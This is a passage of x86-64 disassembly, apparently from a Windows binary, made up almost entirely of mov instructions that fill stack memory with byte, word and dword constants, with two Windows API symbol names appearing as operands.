mov eax, 0x1fc
mov word [rsp + 0x26b0], ax
mov byte [rsp + 0x522], 0x56
mov dword [rsp + 0x9728], 0x51b1
mov byte [rsp + 0x523], 0x41
mov dword [rsp + 0x972c], 0x7aef
mov dword [rsp + 0x9730], 0x6b7c
mov byte [rsp + 0x524], 0xa4
mov dword [rsp + 0x9734], 0x231c
mov byte [rsp + 0x525], 0xa4
mov dword [rsp + 0x9738], 0x751e
mov dword [rsp + 0x973c], 0x6a8a
mov dword [rsp + 0x9740], 0x7fbb
mov dword [rsp + 0x9744], 0x20b6
mov eax, 0xa8d
mov word [rsp + 0x26b4], ax
mov dword [rsp + 0x9748], 0xb8af
mov dword [rsp + 0x974c], 0xd20f
mov byte [rsp + 0x526], 0x21
mov dword [rsp + 0x9750], 0x446e
mov byte [rsp + 0x527], 0xed
mov eax, 0x86d
mov word [rsp + 0x26b8], ax
mov dword [rsp + 0x9754], 0xc57b
mov dword [rsp + 0x9758], 0xe94
mov dword [rsp + 0x975c], 0x7f3b
mov dword [rsp + 0x9760], 0x2aea
mov byte [rsp + 0x528], 0xc
mov eax, 0x82e
mov word [rsp + 0x26bc], ax
mov dword [rsp + 0x9764], 0x1517
mov dword [rsp + 0x9768], 0x7673
mov eax, 0x359
mov word [rsp + 0x26c0], ax
mov byte [rsp + 0x529], 0x20
mov dword [rsp + 0x976c], 0xdfcd
mov dword [rsp + 0x9770], 0x72b2
mov dword [rsp + 0x9774], 0x7ec2
mov byte [rsp + 0x52a], 0x32
mov eax, 0x6d2
mov word [rsp + 0x26c4], ax
mov byte [rsp + 0x52b], 0x3f
mov byte [rsp + 0x52c], 0xa4
mov eax, 0x4a9
mov word [rsp + 0x26c8], ax
mov dword [rsp + 0x9778], 0x6e96
mov eax, 0x943
mov word [rsp + 0x26cc], ax
mov dword [rsp + 0x977c], 0x5fa0
mov dword [rsp + 0x9780], 0x18d4
mov dword [rsp + 0x9784], 0x48ab
mov byte [rsp + 0x52d], 0x3a
mov eax, 0x5fb
mov word [rsp + 0x26d0], ax
mov dword [rsp + 0x9788], 0x8e06
mov dword [rsp + 0x978c], 0x1276
mov eax, 0x6db
mov word [rsp + 0x26d4], ax
mov byte [rsp + 0x52e], 0x63
mov dword [rsp + 0x9790], 0x1fee
mov eax, 0x6ca
mov word [rsp + 0x26d8], ax
mov dword [rsp + 0x9794], 0x1d27
mov dword [rsp + 0x9798], 0x3c90
mov dword [rsp + 0x979c], 0x5060
mov eax, 0x3cb
mov word [rsp + 0x26dc], ax
mov eax, 0xa09
mov word [rsp + 0x26e0], ax
mov dword [rsp + 0x97a0], 0x8be
mov dword [rsp + 0x97a4], 0x3c99
mov dword [rsp + 0x97a8], 0xb6f9
mov dword [rsp + 0x97ac], 0x7bda
mov eax, 0x274
mov word [rsp + 0x26e4], ax
mov byte [rsp + 0x52f], 0xe8
mov eax, 0x7f3
mov word [rsp + 0x26e8], ax
mov dword [rsp + 0x97b0], 0x24f4
mov byte [rsp + 0x530], 0x76
mov byte [rsp + 0x531], 0x82
mov dword [rsp + 0x97b4], 0x27f9
mov dword [rsp + 0x97b8], 0x47f0
mov dword [rsp + 0x97bc], 0x2a45
mov dword [rsp + 0x97c0], 0x6d2e
mov byte [rsp + 0x532], 0xb5
mov byte [rsp + 0x533], 0x71
mov byte [rsp + 0x534], 0x6b
mov eax, 0x339
mov word [rsp + 0x26ec], ax
mov byte [rsp + 0x535], 0xb1
mov dword [rsp + 0x97c4], 0x5b1b
mov byte [rsp + 0x536], 0x7f
mov dword [rsp + 0x97c8], 0x1631
mov dword [rsp + 0x97cc], 0x51dc
mov byte [rsp + 0x537], 0x20
mov dword [rsp + 0x97d0], 0x1b7b
mov byte [rsp + 0x538], 0x30
mov dword [rsp + 0x97d4], 0x4fa1
mov dword [rsp + 0x97d8], 0x1019
mov dword [rsp + 0x97dc], 0x10f4
mov dword [rsp + 0x97e0], 0x4e09
mov dword [rsp + 0x97e4], 0x6730
mov eax, 0x704
mov word [rsp + 0x26f0], ax
mov dword [rsp + 0x97e8], 0x10ab
mov dword [rsp + 0x97ec], 0x7378
mov byte [rsp + 0x539], 0x63
mov eax, 0x8d1
mov word [rsp + 0x26f4], ax
mov dword [rsp + 0x97f0], 0xd9f6
mov eax, 0x124
mov word [rsp + 0x26f8], ax
mov dword [rsp + 0x97f4], 0x69f8
mov byte [rsp + 0x53a], 0x10
mov byte [rsp + 0x53b], 0x76
mov byte [rsp + 0x53c], 0xd
mov dword [rsp + 0x97f8], 0xe410
mov dword [rsp + 0x97fc], 0x1924
mov eax, 0xbf4
mov word [rsp + 0x26fc], ax
mov dword [rsp + 0x9800], 0x7601
mov eax, 0x3ab
mov word [rsp + 0x2700], ax
mov dword [rsp + 0x9804], 0xff08
mov eax, 0x5b9
mov word [rsp + 0x2704], ax
mov eax, 0x4c1
mov word [rsp + 0x2708], ax
mov dword [rsp + 0x9808], 0x47a0
mov dword [rsp + 0x980c], 0x16e5
mov eax, 0x466
mov word [rsp + 0x270c], ax
mov byte [rsp + 0x53d], 0x98
mov dword [rsp + 0x9810], 0x70bf
mov byte [rsp + 0x53e], 0x2a
mov eax, 0x2f9
mov word [rsp + 0x2710], ax
mov byte [rsp + 0x53f], 0x9e
mov dword [rsp + 0x9814], 0xed3a
mov dword [rsp + 0x9818], 0x1455
mov eax, 0x66d
mov word [rsp + 0x2714], ax
mov byte [rsp + 0x540], 9
mov byte [rsp + 0x541], 5
mov eax, 0x241
mov word [rsp + 0x2718], ax
mov byte [rsp + 0x542], 0x1b
mov eax, 0x353
mov word [rsp + 0x271c], ax
mov byte [rsp + 0x543], 0xe3
mov byte [rsp + 0x544], 0x60
mov byte [rsp + 0x545], 0xd7
mov byte [rsp + 0x546], 0x3e
mov dword [rsp + 0x981c], 0xc7bc
mov byte [rsp + 0x547], 0x67
mov dword [rsp + 0x9820], 0x1b98
mov dword [rsp + 0x9824], 0x2e1
mov eax, 0x41
mov word [rsp + 0x2720], ax
mov dword [rsp + 0x9828], 0x41ba
mov dword [rsp + 0x982c], 0x5079
mov dword [rsp + 0x9830], 0xc7f
mov byte [rsp + 0x548], 0x56
mov byte [rsp + 0x549], 0xf8
mov dword [rsp + 0x9834], 0x5b7
mov byte [rsp + 0x54a], 0x1d
mov eax, 0x90e
mov word [rsp + 0x2724], ax
mov dword [rsp + 0x9838], 0x754b
mov eax, 0x436
mov word [rsp + 0x2728], ax
mov dword [rsp + 0x983c], 0x34e3
mov byte [rsp + 0x54b], 0x42
mov dword [rsp + 0x9840], 0x7d6f
mov dword [rsp + 0x9844], 0xea7e
mov eax, 0x661
mov word [rsp + 0x272c], ax
mov dword [rsp + 0x9848], 0x8cf9
mov eax, 0xb1c
mov word [rsp + 0x2730], ax
mov dword [rsp + 0x984c], 0xeca3
mov byte [rsp + 0x54c], 0x7d
mov eax, 0xa74
mov word [rsp + 0x2734], ax
mov eax, 0x976
mov word [rsp + 0x2738], ax
mov eax, 0x7d1
mov word [rsp + 0x273c], ax
mov eax, 0x1de
mov word [rsp + 0x2740], ax
mov dword [rsp + 0x9850], 0x6bd2
mov eax, 2
mov word [rsp + 0x2744], ax
mov dword [rsp + 0x9854], 0x31f9
mov dword [rsp + 0x9858], 0xd9a5
mov byte [rsp + 0x54d], 0xe7
mov byte [rsp + 0x54e], 0x76
mov byte [rsp + 0x54f], 6
mov dword [rsp + 0x985c], 0x7f38
mov byte [rsp + 0x550], 0x37
mov dword [rsp + 0x9860], 0x3bd2
mov eax, 0x7b5
mov word [rsp + 0x2748], ax
mov dword [rsp + 0x9864], 0x35a5
mov dword [rsp + 0x9868], 0x41fa
mov dword [rsp + 0x986c], 0xac9d
mov eax, reloc.COMCTL32.dll_DefSubclassProc
mov word [rsp + 0x274c], ax
mov dword [rsp + 0x9870], 0x481c
mov eax, 0x1ea
mov word [rsp + 0x2750], ax
mov dword [rsp + 0x9874], 0x5da7
mov dword [rsp + 0x9878], 0xd9b
mov dword [rsp + 0x987c], 0x3904
mov dword [rsp + 0x9880], 0xf691
mov dword [rsp + 0x9884], 0xa68b
mov dword [rsp + 0x9888], 0x558b
mov byte [rsp + 0x551], 0x88
mov dword [rsp + 0x988c], 0x79cf
mov dword [rsp + 0x9890], 0x21cc
mov eax, 0xf01
mov word [rsp + 0x2754], ax
mov byte [rsp + 0x552], 0xdd
mov dword [rsp + 0x9894], 0x5f3c
mov dword [rsp + 0x9898], 0x571b
mov eax, 0xb26
mov word [rsp + 0x2758], ax
mov dword [rsp + 0x989c], 0x75c9
mov byte [rsp + 0x553], 0x63
mov dword [rsp + 0x98a0], 0x6651
mov byte [rsp + 0x554], 0x7a
mov eax, 0x288
mov word [rsp + 0x275c], ax
mov eax, 0xb78
mov word [rsp + 0x2760], ax
mov dword [rsp + 0x98a4], 0x5c60
mov dword [rsp + 0x98a8], 0x5797
mov dword [rsp + 0x98ac], 0x6f98
mov dword [rsp + 0x98b0], 0x4776
mov byte [rsp + 0x555], 0x5b
mov dword [rsp + 0x98b4], 0x6cf0
mov dword [rsp + 0x98b8], 0x71c0
mov byte [rsp + 0x556], 0x4d
mov eax, 0xfc2
mov word [rsp + 0x2764], ax
mov dword [rsp + 0x98bc], 0x925d
mov dword [rsp + 0x98c0], 0x368f
mov dword [rsp + 0x98c4], 0x4297
mov byte [rsp + 0x557], 0x34
mov byte [rsp + 0x558], 0x78
mov dword [rsp + 0x98c8], 0x1bf0
mov byte [rsp + 0x559], 0x6e
mov dword [rsp + 0x98cc], 0xc04f
mov dword [rsp + 0x98d0], 0xbf43
mov eax, 0x671
mov word [rsp + 0x2768], ax
mov dword [rsp + 0x98d4], 0x783b
mov byte [rsp + 0x55a], 0x60
mov byte [rsp + 0x55b], 0xaf
mov dword [rsp + 0x98d8], 0x53b8
mov eax, 0xf7b
mov word [rsp + 0x276c], ax
mov byte [rsp + 0x55c], 0xc
mov dword [rsp + 0x98dc], 0x5716
mov dword [rsp + 0x98e0], 0x3a65
mov dword [rsp + 0x98e4], 0x2fe2
mov eax, 0x9fb
mov word [rsp + 0x2770], ax
mov byte [rsp + 0x55d], 0xc3
mov dword [rsp + 0x98e8], 0x9bfc
mov eax, 0x54f
mov word [rsp + 0x2774], ax
mov dword [rsp + 0x98ec], 0x226a
mov eax, 0x17b
mov word [rsp + 0x2778], ax
mov dword [rsp + 0x98f0], 0x361e
mov dword [rsp + 0x98f4], 0x388e
mov eax, 0x4fb
mov word [rsp + 0x277c], ax
mov dword [rsp + 0x98f8], 0x6b8a
mov dword [rsp + 0x98fc], 0x7f46
mov byte [rsp + 0x55e], 0xac
mov dword [rsp + 0x9900], 0xc38d
mov dword [rsp + 0x9904], 0x73f2
mov dword [rsp + 0x9908], 0x4be0
mov dword [rsp + 0x990c], 0x44dc
mov dword [rsp + 0x9910], 0x4171
mov dword [rsp + 0x9914], 0x4d3c
mov dword [rsp + 0x9918], 0x6285
mov eax, 0x787
mov word [rsp + 0x2780], ax
mov dword [rsp + 0x991c], 0x30
mov byte [rsp + 0x55f], 0x43
mov dword [rsp + 0x9920], 0x3fae
mov dword [rsp + 0x9924], 0xd3cb
mov dword [rsp + 0x9928], 0x7374
mov dword [rsp + 0x992c], 0x162f
mov dword [rsp + 0x9930], 0x57e0
mov eax, 0xfc7
mov word [rsp + 0x2784], ax
mov dword [rsp + 0x9934], 0x4bda
mov eax, 0xd1b
mov word [rsp + 0x2788], ax
mov eax, 0xeea
mov word [rsp + 0x278c], ax
mov dword [rsp + 0x9938], 0x58ce
mov eax, 0xf0b
mov word [rsp + 0x2790], ax
mov dword [rsp + 0x993c], 0x404d
mov eax, 0x90e
mov word [rsp + 0x2794], ax
mov dword [rsp + 0x9940], 0x58df
mov dword [rsp + 0x9944], 0x373a
mov dword [rsp + 0x9948], 0x791c
mov dword [rsp + 0x994c], 0x913b
mov dword [rsp + 0x9950], 0x2f4e
mov eax, 0x88d
mov word [rsp + 0x2798], ax
mov dword [rsp + 0x9954], 0x2a9e
mov dword [rsp + 0x9958], 0xaec
mov dword [rsp + 0x995c], 0x73c6
mov dword [rsp + 0x9960], 0x4b44
mov dword [rsp + 0x9964], 0x7dbb
mov byte [rsp + 0x560], 0x6a
mov dword [rsp + 0x9968], 0x247d
mov eax, 0x5fa
mov word [rsp + 0x279c], ax
mov byte [rsp + 0x561], 0x19
mov eax, 0xa3d
mov word [rsp + 0x27a0], ax
mov eax, 0x8a7
mov word [rsp + 0x27a4], ax
mov dword [rsp + 0x996c], 0x95ce
mov dword [rsp + 0x9970], 0x4e9b
mov eax, 0x2dc
mov word [rsp + 0x27a8], ax
mov byte [rsp + 0x562], 0xed
mov dword [rsp + 0x9974], 0x4be0
mov dword [rsp + 0x9978], 0x127f
mov dword [rsp + 0x997c], 0x1112
mov byte [rsp + 0x563], 0x8c
mov eax, 0xcab
mov word [rsp + 0x27ac], ax
mov eax, 0x51a
mov word [rsp + 0x27b0], ax
mov eax, 0x46e
mov word [rsp + 0x27b4], ax
mov dword [rsp + 0x9980], 0xd9
mov dword [rsp + 0x9984], 0x4f1a
mov eax, 0x192
mov word [rsp + 0x27b8], ax
mov eax, 0x540
mov word [rsp + 0x27bc], ax
mov eax, 0x9cc
mov word [rsp + 0x27c0], ax
mov dword [rsp + 0x9988], 0x79f6
mov eax, 0x8a2
mov word [rsp + 0x27c4], ax
mov eax, 0xa57
mov word [rsp + 0x27c8], ax
mov dword [rsp + 0x998c], 0x102a
mov eax, 0xc2e
mov word [rsp + 0x27cc], ax
mov byte [rsp + 0x564], 0xef
mov dword [rsp + 0x9990], 0x6139
mov byte [rsp + 0x565], 0x71
mov eax, 0x5b3
mov word [rsp + 0x27d0], ax
mov dword [rsp + 0x9994], 0x21a2
mov eax, 0x43
mov word [rsp + 0x27d4], ax
mov dword [rsp + 0x9998], 0x81ab
mov dword [rsp + 0x999c], 0x9148
mov dword [rsp + 0x99a0], 0xfa85
mov eax, 0xe83
mov word [rsp + 0x27d8], ax
mov dword [rsp + 0x99a4], 0x20da
mov dword [rsp + 0x99a8], 0x17e4
mov byte [rsp + 0x566], 0x2d
mov dword [rsp + 0x99ac], 0x36af
mov dword [rsp + 0x99b0], 0x651e
mov dword [rsp + 0x99b4], 0xbfd5
mov dword [rsp + 0x99b8], 0xab2d
mov dword [rsp + 0x99bc], 0x1683
mov dword [rsp + 0x99c0], 0x9235
mov dword [rsp + 0x99c4], 0x317e
mov dword [rsp + 0x99c8], 0x64e8
mov byte [rsp + 0x567], 0x4b
mov byte [rsp + 0x568], 0x1e
mov dword [rsp + 0x99cc], 0xef
mov eax, 0x83
mov word [rsp + 0x27dc], ax
mov dword [rsp + 0x99d0], 0x5eb4
mov eax, 0x1b8
mov word [rsp + 0x27e0], ax
mov dword [rsp + 0x99d4], 0x383c
mov byte [rsp + 0x569], 7
mov dword [rsp + 0x99d8], 0x37d7
mov dword [rsp + 0x99dc], 0x30
mov eax, 0xb72
mov word [rsp + 0x27e4], ax
mov eax, 0xd2
mov word [rsp + 0x27e8], ax
mov dword [rsp + 0x99e0], 0xb15
mov dword [rsp + 0x99e4], 0xd314
mov byte [rsp + 0x56a], 0x92
mov byte [rsp + 0x56b], 0x57
mov dword [rsp + 0x99e8], 0x327f
mov dword [rsp + 0x99ec], 0x7ad1
mov byte [rsp + 0x56c], 0x3d
mov dword [rsp + 0x99f0], 0x398a
mov eax, 0x654
mov word [rsp + 0x27ec], ax
mov dword [rsp + 0x99f4], 0x2985
mov byte [rsp + 0x56d], 0x2b
mov dword [rsp + 0x99f8], 0xbd59
mov dword [rsp + 0x99fc], 0xd7bb
mov eax, 0x578
mov word [rsp + 0x27f0], ax
mov eax, 0xe38
mov word [rsp + 0x27f4], ax
mov eax, 0x418
mov word [rsp + 0x27f8], ax
mov dword [rsp + 0x9a00], 0x2473
mov eax, 0xedd
mov word [rsp + 0x27fc], ax
mov eax, 0xa89
mov word [rsp + 0x2800], ax
mov dword [rsp + 0x9a04], 0xd074
mov dword [rsp + 0x9a08], 0x3324
mov byte [rsp + 0x56e], 0x29
mov dword [rsp + 0x9a0c], 0xcb8
mov byte [rsp + 0x56f], 0x44
mov dword [rsp + 0x9a10], 0x1752
mov dword [rsp + 0x9a14], 0xc0e4
mov dword [rsp + 0x9a18], 0x7532
mov eax, 0xfc7
mov word [rsp + 0x2804], ax
mov dword [rsp + 0x9a1c], 0x4a0b
mov dword [rsp + 0x9a20], 0x3711
mov byte [rsp + 0x570], 0x4a
mov dword [rsp + 0x9a24], 0x2b9e
mov dword [rsp + 0x9a28], 0x250f
mov eax, 0x2ae
mov word [rsp + 0x2808], ax
mov dword [rsp + 0x9a2c], 0x7eb3
mov eax, 0x4d4
mov word [rsp + 0x280c], ax
mov eax, 0x277
mov word [rsp + 0x2810], ax
mov eax, 0xa12
mov word [rsp + 0x2814], ax
mov dword [rsp + 0x9a30], 0x53c5
mov dword [rsp + 0x9a34], 0x2c48
mov dword [rsp + 0x9a38], 0x2b5e
mov dword [rsp + 0x9a3c], 0x46a8
mov dword [rsp + 0x9a40], 0x4205
mov dword [rsp + 0x9a44], 0x14d8
mov dword [rsp + 0x9a48], 0x7c13
mov dword [rsp + 0x9a4c], 0x440d
mov eax, 0x501
mov word [rsp + 0x2818], ax
mov dword [rsp + 0x9a50], 0x2ce4
mov dword [rsp + 0x9a54], 0x314
mov byte [rsp + 0x571], 0x43
mov dword [rsp + 0x9a58], 0x5a2a
mov dword [rsp + 0x9a5c], 0x9edf
mov byte [rsp + 0x572], 0x5d
mov byte [rsp + 0x573], 8
mov eax, 0x2da
mov word [rsp + 0x281c], ax
mov dword [rsp + 0x9a60], 0xd396
mov eax, 0x3c8
mov word [rsp + 0x2820], ax
mov byte [rsp + 0x574], 0x56
mov byte [rsp + 0x575], 0x6c
mov byte [rsp + 0x576], 0xae
mov dword [rsp + 0x9a64], 0x860
mov dword [rsp + 0x9a68], 0x15d1
mov dword [rsp + 0x9a6c], 0x3256
mov byte [rsp + 0x577], 0x53
mov dword [rsp + 0x9a70], 0x4a55
mov byte [rsp + 0x578], 0x25
mov dword [rsp + 0x9a74], 0x2f8e
mov dword [rsp + 0x9a78], 0x2911
mov dword [rsp + 0x9a7c], 0x70d9
mov byte [rsp + 0x579], 0x30
mov dword [rsp + 0x9a80], 0x541
mov byte [rsp + 0x57a], 0x49
mov dword [rsp + 0x9a84], 0x12b1
mov dword [rsp + 0x9a88], 0x3179
mov eax, 0x21a
mov word [rsp + 0x2824], ax
mov eax, 0xf7f
mov word [rsp + 0x2828], ax
mov dword [rsp + 0x9a8c], 0x29fb
mov byte [rsp + 0x57b], 0x38
mov dword [rsp + 0x9a90], 0xdc2
mov dword [rsp + 0x9a94], 0x70c8
mov dword [rsp + 0x9a98], 0x66e1
mov eax, 0x215
mov word [rsp + 0x282c], ax
mov eax, 0x519
mov word [rsp + 0x2830], ax
mov dword [rsp + 0x9a9c], 0x30c
mov dword [rsp + 0x9aa0], 0x1dfa
mov dword [rsp + 0x9aa4], 0x2cf8
mov byte [rsp + 0x57c], 0x23
mov dword [rsp + 0x9aa8], 0x4fe5
mov byte [rsp + 0x57d], 0xbe
mov byte [rsp + 0x57e], 6
mov byte [rsp + 0x57f], 0x45
mov dword [rsp + 0x9aac], 0x6f87
mov dword [rsp + 0x9ab0], 0x528e
mov eax, 0x3a0
mov word [rsp + 0x2834], ax
mov dword [rsp + 0x9ab4], 0xf6e6
mov dword [rsp + 0x9ab8], 0x46d7
mov dword [rsp + 0x9abc], 0xf4c
mov byte [rsp + 0x580], 0x1a
mov eax, 0x1d0
mov word [rsp + 0x2838], ax
mov dword [rsp + 0x9ac0], 0x4fd2
mov byte [rsp + 0x581], 0xae
mov dword [rsp + 0x9ac4], 0x7949
mov dword [rsp + 0x9ac8], 0xf7a
mov byte [rsp + 0x582], 0xe6
mov byte [rsp + 0x583], 0xc9
mov dword [rsp + 0x9acc], 0xe6fe
mov dword [rsp + 0x9ad0], 0x5978
mov dword [rsp + 0x9ad4], 0x3b70
mov byte [rsp + 0x584], 0xea
mov byte [rsp + 0x585], 0x7c
mov byte [rsp + 0x586], 0x2b
mov eax, 0xd40
mov word [rsp + 0x283c], ax
mov dword [rsp + 0x9ad8], 0x213b
mov dword [rsp + 0x9adc], 0x6466
mov dword [rsp + 0x9ae0], 0xcf57
mov eax, 0x10f
mov word [rsp + 0x2840], ax
mov eax, 0xa83
mov word [rsp + 0x2844], ax
mov byte [rsp + 0x587], 0x80
mov dword [rsp + 0x9ae4], 0x48bc
mov dword [rsp + 0x9ae8], 0x64dc
mov eax, 0xdaf
mov word [rsp + 0x2848], ax
mov byte [rsp + 0x588], 0xc3
mov dword [rsp + 0x9aec], 0x2114
mov dword [rsp + 0x9af0], 0x65ee
mov dword [rsp + 0x9af4], 0x6aaa
mov dword [rsp + 0x9af8], 0x3c03
mov eax, 0x595
mov word [rsp + 0x284c], ax
mov dword [rsp + 0x9afc], 0x753f
mov dword [rsp + 0x9b00], 0x2a96
mov dword [rsp + 0x9b04], 0x78d
mov dword [rsp + 0x9b08], 0xa4d0
mov byte [rsp + 0x589], 0x3b
mov dword [rsp + 0x9b0c], 0x6934
mov byte [rsp + 0x58a], 0x59
mov byte [rsp + 0x58b], 0xf3
mov dword [rsp + 0x9b10], 0x2304
mov dword [rsp + 0x9b14], 0x2000
mov eax, 0x7af
mov word [rsp + 0x2850], ax
mov dword [rsp + 0x9b18], 0x72f2
mov dword [rsp + 0x9b1c], 0xe47a
mov dword [rsp + 0x9b20], 0xb135
mov dword [rsp + 0x9b24], 0x4dc6
mov eax, 0xb76
mov word [rsp + 0x2854], ax
mov dword [rsp + 0x9b28], 0xb30
mov byte [rsp + 0x58c], 0x25
mov byte [rsp + 0x58d], 0xa7
mov dword [rsp + 0x9b2c], 0x14a9
mov byte [rsp + 0x58e], 0x14
mov eax, 0x70f
mov word [rsp + 0x2858], ax
mov dword [rsp + 0x9b30], 0x2a4e
mov dword [rsp + 0x9b34], 0x102a
mov dword [rsp + 0x9b38], 0x5e1d
mov dword [rsp + 0x9b3c], 0x27b4
mov dword [rsp + 0x9b40], 0x4bf5
mov dword [rsp + 0x9b44], 0x4813
mov byte [rsp + 0x58f], 0x17
mov dword [rsp + 0x9b48], 0x7c0c
mov dword [rsp + 0x9b4c], 0xb1e9
mov dword [rsp + 0x9b50], 0x3891
mov eax, 0x29e
mov word [rsp + 0x285c], ax
mov byte [rsp + 0x590], 0x24
mov dword [rsp + 0x9b54], 0x78c1
mov dword [rsp + 0x9b58], 0x30b7
mov byte [rsp + 0x591], 0xe0
mov byte [rsp + 0x592], 0x3f
mov dword [rsp + 0x9b5c], 0x238d
mov dword [rsp + 0x9b60], 0x2170
mov dword [rsp + 0x9b64], 0x2597
mov dword [rsp + 0x9b68], 0x6d38
mov eax, 0x464
mov word [rsp + 0x2860], ax
mov dword [rsp + 0x9b6c], 0x3924
mov dword [rsp + 0x9b70], 0xa13c
mov eax, 0x7ee
mov word [rsp + 0x2864], ax
mov byte [rsp + 0x593], 0x2b
mov eax, 0x72c
mov word [rsp + 0x2868], ax
mov dword [rsp + 0x9b74], 0x2d80
mov dword [rsp + 0x9b78], 0x6b5a
mov dword [rsp + 0x9b7c], 0xefe8
mov dword [rsp + 0x9b80], 0xdac7
mov dword [rsp + 0x9b84], 0x22ec
mov eax, 0x479
mov word [rsp + 0x286c], ax
mov eax, 0xaf7
mov word [rsp + 0x2870], ax
mov dword [rsp + 0x9b88], 0x1255
mov byte [rsp + 0x594], 0xb5
mov dword [rsp + 0x9b8c], 0x2f30
mov byte [rsp + 0x595], 0x51
mov eax, 0x22f
mov word [rsp + 0x2874], ax
mov dword [rsp + 0x9b90], 0x16b9
mov byte [rsp + 0x596], 0x3b
mov eax, 0xb8c
mov word [rsp + 0x2878], ax
mov dword [rsp + 0x9b94], 0x1365
mov dword [rsp + 0x9b98], 0xe9f4
mov dword [rsp + 0x9b9c], 0x93
mov eax, 0x210
mov word [rsp + 0x287c], ax
mov dword [rsp + 0x9ba0], 0x219
mov eax, 0x17e
mov word [rsp + 0x2880], ax
mov dword [rsp + 0x9ba4], 0x4f00
mov eax, 0x56d
mov word [rsp + 0x2884], ax
mov byte [rsp + 0x597], 0xb1
mov eax, 0x608
mov word [rsp + 0x2888], ax
mov eax, 0xd7
mov word [rsp + 0x288c], ax
mov dword [rsp + 0x9ba8], 0x3ef2
mov dword [rsp + 0x9bac], 0x2f9d
mov dword [rsp + 0x9bb0], 0x3b49
mov eax, 0x184
mov word [rsp + 0x2890], ax
mov dword [rsp + 0x9bb4], 0x361b
mov byte [rsp + 0x598], 5
mov dword [rsp + 0x9bb8], 0x6b04
mov dword [rsp + 0x9bbc], 0x281c
mov dword [rsp + 0x9bc0], 0x7873
mov eax, 0x8e5
mov word [rsp + 0x2894], ax
mov dword [rsp + 0x9bc4], 0x106f
mov dword [rsp + 0x9bc8], 0x2b2c
mov dword [rsp + 0x9bcc], 0x6eb9
mov byte [rsp + 0x599], 0x31
mov eax, ILFree
mov word [rsp + 0x2898], ax
mov eax, 0x226
mov word [rsp + 0x289c], ax
mov dword [rsp + 0x9bd0], 0x1fd7
mov dword [rsp + 0x9bd4], 0x846
mov dword [rsp + 0x9bd8], 0x16f9
mov byte [rsp + 0x59a], 0xf8
mov dword [rsp + 0x9bdc], 0x3341
mov dword [rsp + 0x9be0], 0xfb94
mov eax, 0x72a
mov word [rsp + 0x28a0], ax
mov dword [rsp + 0x9be4], 0x1a6e
mov eax, 0x10f
mov word [rsp + 0x28a4], ax
mov dword [rsp + 0x9be8], 0x666
mov dword [rsp + 0x9bec], 0x321d
mov eax, 0x738
mov word [rsp + 0x28a8], ax
mov dword [rsp + 0x9bf0], 0x6a4e
mov byte [rsp + 0x59b], 0x6a
mov dword [rsp + 0x9bf4], 0x6338
mov dword [rsp + 0x9bf8], 0x30c5
mov dword [rsp + 0x9bfc], 0x4711
mov dword [rsp + 0x9c00], 0x6e6d
mov dword [rsp + 0x9c04], 0xb75
mov eax, 0x870
mov word [rsp + 0x28ac], ax
mov byte [rsp + 0x59c], 0x7d
mov byte [rsp + 0x59d], 0x99
mov dword [rsp + 0x9c08], 0xe330
mov dword [rsp + 0x9c0c], 0xa822
mov dword [rsp + 0x9c10], 0x8fb2
mov byte [rsp + 0x59e], 0x11
mov byte [rsp + 0x59f], 0x78
mov dword [rsp + 0x9c14], 0x36f8
mov dword [rsp + 0x9c18], 0x4c87
mov dword [rsp + 0x9c1c], 0x866
mov eax, 0x157
mov word [rsp + 0x28b0], ax
mov eax, 0x754
mov word [rsp + 0x28b4], ax
mov dword [rsp + 0x9c20], 0x3bf4
mov dword [rsp + 0x9c24], 0x3929
mov eax, 0x442
mov word [rsp + 0x28b8], ax
mov dword [rsp + 0x9c28], 0x8fd6
mov byte [rsp + 0x5a0], 0x58
mov eax, 0x11a
mov word [rsp + 0x28bc], ax
mov dword [rsp + 0x9c2c], 0xee50
mov dword [rsp + 0x9c30], 0x5d61
mov dword [rsp + 0x9c34], 0x3fc3
mov dword [rsp + 0x9c38], 0x3730
mov eax, 0xf6a
mov word [rsp + 0x28c0], ax
mov dword [rsp + 0x9c3c], 0x7105
mov dword [rsp + 0x9c40], 0xfba
mov eax, 0x444
mov word [rsp + 0x28c4], ax
mov byte [rsp + 0x5a1], 0x1f
mov dword [rsp + 0x9c44], 0x5541
mov dword [rsp + 0x9c48], 0x7db6
mov byte [rsp + 0x5a2], 0x7b
mov byte [rsp + 0x5a3], 0x6b
mov dword [rsp + 0x9c4c], 0x9eba
mov byte [rsp + 0x5a4], 0x95
mov dword [rsp + 0x9c50], 0x14af
mov eax, 0xe1c
mov word [rsp + 0x28c8], ax
mov eax, 0x88
mov word [rsp + 0x28cc], ax
mov dword [rsp + 0x9c54], 0x696
mov dword [rsp + 0x9c58], 0x1997
mov dword [rsp + 0x9c5c], 0xed2d
mov dword [rsp + 0x9c60], 0x6961
mov dword [rsp + 0x9c64], 0x1d48
mov dword [rsp + 0x9c68], 0x1912
mov dword [rsp + 0x9c6c], 0x19f
mov byte [rsp + 0x5a5], 0x39
mov dword [rsp + 0x9c70], 0x950e
mov eax, 0x42f
mov word [rsp + 0x28d0], ax
mov eax, 0x251
mov word [rsp + 0x28d4], ax
mov byte [rsp + 0x5a6], 0x4f
mov byte [rsp + 0x5a7], 0x3d
mov dword [rsp + 0x9c74], 0x37d8
mov eax, 0x96d
mov word [rsp + 0x28d8], ax
mov byte [rsp + 0x5a8], 0x46
mov dword [rsp + 0x9c78], 0x75f9
mov byte [rsp + 0x5a9], 0x17
mov dword [rsp + 0x9c7c], 0x57ad
mov eax, 0xa13
mov word [rsp + 0x28dc], ax
mov byte [rsp + 0x5aa], 0x7c
mov dword [rsp + 0x9c80], 0xb20c
mov eax, 0x2c7
mov word [rsp + 0x28e0], ax
mov dword [rsp + 0x9c84], 0x2a96
mov byte [rsp + 0x5ab], 0x38
mov byte [rsp + 0x5ac], 0x24
mov dword [rsp + 0x9c88], 0x4cf
mov dword [rsp + 0x9c8c], 0x725b
mov dword [rsp + 0x9c90], 0x1c90
mov dword [rsp + 0x9c94], 0x3e60
mov dword [rsp + 0x9c98], 0x6cab
mov dword [rsp + 0x9c9c], 0x3761
mov byte [rsp + 0x5ad], 0xd5
mov eax, 0x72f
mov word [rsp + 0x28e4], ax
mov dword [rsp + 0x9ca0], 0x54bb
mov dword [rsp + 0x9ca4], 0x2ff5
mov byte [rsp + 0x5ae], 0xdb
mov eax, 0x8e5
mov word [rsp + 0x28e8], ax
mov dword [rsp + 0x9ca8], 0xad78
mov eax, 0x4f5
mov word [rsp + 0x28ec], ax
mov dword [rsp + 0x9cac], 0x356f
mov byte [rsp + 0x5af], 0x8a
mov dword [rsp + 0x9cb0], 0xfc07
